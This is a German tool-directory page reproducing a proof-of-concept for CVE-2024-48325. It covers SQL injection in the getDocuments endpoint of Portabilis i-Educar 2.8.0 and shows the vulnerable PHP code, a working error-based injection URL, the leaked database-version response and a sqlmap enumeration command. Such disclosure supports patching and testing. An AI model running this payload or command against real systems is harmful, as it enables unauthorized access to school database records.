Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2024-48325 — Proof-of-Concept für SQL-Injection in Portabilis i-Educar 2.8.0, der nicht authentifizierten Datenbankzugriff über den getDocuments-Endpunkt mit automatisierter Ausnutzung mittels SQLMap demonstriert. | Kitploit
Tools/GitHubGitHub/osvaldotenorio/cve-2024-48325
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsDatenbanksicherheit
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Proof-of-Concept für SQL-Injection in Portabilis i-Educar 2.8.0, der nicht authentifizierten Datenbankzugriff über den getDocuments-Endpunkt mit automatisierter Ausnutzung mittels SQLMap demonstriert.

Repository anzeigen
17vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-48325

Beschreibung: Ein authentifizierter Benutzer kann eine SQL-Injection-Schwachstelle in der Funktion getDocuments der Klasse InstituicaoDocumentacaoController ausnutzen. Der Parameter instituicao_id in /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id wird nicht ordnungsgemäß bereinigt, sodass ein authentifizierter Remote-Angreifer schädliche SQL-Befehle einschleusen kann.

Versionen: Entdeckt in Portabilis i-Educar 2.8.0.

Proof of Concept

Details zur Schwachstelle

Das Problem besteht in der Funktion getDocuments der Klasse InstituicaoDocumentacaoController, die über den folgenden Endpunkt ausgelöst werden kann:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Wie die Schwachstelle entsteht

Der Parameter instituicao_id wird direkt in SQL-Abfragen verwendet, ohne ordnungsgemäße Bereinigung oder Parametrisierung. Dadurch können Angreifer bösartige HTTP-Anfragen senden, um SQL-Befehle einzuschleusen, möglicherweise unbefugten Zugriff auf die Datenbank zu erlangen oder Daten zu manipulieren.

  • Beispiel-Endpunkt, der die Schwachstelle auslöst: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • Beispiel-Exploit: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Server-Antwort:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Automatisierte Ausnutzung

  • Diese Schwachstelle kann auch mit automatisierten Tools wie SQLMap ausgenutzt werden, wodurch eine Datenbank-Enumeration möglich ist: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

Tool herunterladen